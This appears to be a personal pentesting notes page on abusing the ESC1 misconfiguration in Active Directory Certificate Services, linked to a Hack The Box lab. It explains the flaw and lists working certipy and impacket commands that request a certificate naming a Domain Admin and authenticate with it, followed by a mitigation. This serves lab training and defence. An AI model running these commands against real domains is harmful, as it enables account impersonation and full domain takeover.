Haiyahhh Hack Vault

Active Directory - ESC1 (Misconfigured Certificate Template) Abuse

3 min read

🧠 Active Directory - ESC1 (Misconfigured Certificate Template) Abuse

What is it?

  • Concept: A certificate template configured with CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT (“Enrollee Supplies Subject”) lets the requester specify who a certificate is issued for — normally fine for something like a device cert, but if that same template also allows client authentication and can be enrolled in by a broad, low-privilege group (Domain Users, Domain Computers, Authenticated Users), any one of those principals can request a certificate naming someone else entirely, including a Domain Admin.
  • Impact: The single most common ADCS misconfiguration — turns bare enrollment rights on a badly-configured template into a certificate for an arbitrary account, with no other ACE or vulnerability required.

How it works

  1. certipy-ad find -vulnerable flags a template as ESC1 when it: allows client authentication, has Enrollee Supplies Subject enabled, and grants enrollment to a principal the attacker already controls (directly or transitively through group membership).
  2. The attacker requests a certificate from that template, explicitly supplying a Subject Alternative Name (SAN) — commonly a UPN like administrator@<domain> — that names the victim instead of themselves.
  3. The CA has no way to verify the SAN actually matches the requester’s own identity when the template explicitly delegates that decision to the requester; it signs the certificate as asked.
  4. The resulting certificate authenticates as the victim identity named in the SAN — via Kerberos PKINIT if the KDC supports it, or via LDAPS/Schannel otherwise (see Active Directory - Pass-the-Cert (LDAP Schannel Authentication)).

Exploitation

Prerequisites

  • Enrollment rights on a template flagged ESC1 (client auth + Enrollee Supplies Subject + attacker-reachable enrollment principal)

Attack Vectors

# 1. Confirm the template is vulnerable and note the exact template + CA name
certipy-ad find -u '<user>@<domain>' -p '<pass>' -dc-ip <dc_ip> -vulnerable -stdout
# 2. If enrollment is scoped to Domain Computers and no controlled computer
# account exists yet, create one — default MachineAccountQuota allows up to 10
impacket-addcomputer '<domain>/<user>:<pass>' -method LDAPS -computer-name '<name>$' -computer-pass '<pass>' -dc-ip <dc_ip>
# 3. Request a certificate from the vulnerable template, naming the victim as the SAN
certipy-ad req -u '<enrolling_principal>@<domain>' -p '<pass>' -ca '<ca_name>' -template '<vulnerable_template>' -upn '<victim>@<domain>' -dc-ip <dc_ip>
# 4. Authenticate with the resulting certificate
certipy-ad auth -pfx '<victim>.pfx' -domain '<domain>' -dc-ip <dc_ip>

Notes

  • Step 4 sometimes fails with KDC_ERR_PADATA_TYPE_NOSUPP — that means the KDC doesn’t support Kerberos PKINIT at all, not that the certificate is invalid. The certificate itself is still fully usable — fall back to Active Directory - Pass-the-Cert (LDAP Schannel Authentication) to authenticate to LDAP directly instead of via Kerberos.
  • Domain Computers being an enrollable principal is a very common finding, and it’s not by itself unusual — the attack only works because a low-privilege, broadly-held group can enroll in a template that also lets the requester pick who the cert is for. Either property alone is fine; the combination is the bug.

Mitigation

  • Fix: Remove Enrollee Supplies Subject from any template that doesn’t have a specific operational need for it, and restrict enrollment on templates that do keep it to a small, tightly-controlled group of principals — never Domain Users/Domain Computers/Authenticated Users.
FileCreated
HTB - AuthorityJuly 23, 2026

References:

Graph View

Backlinks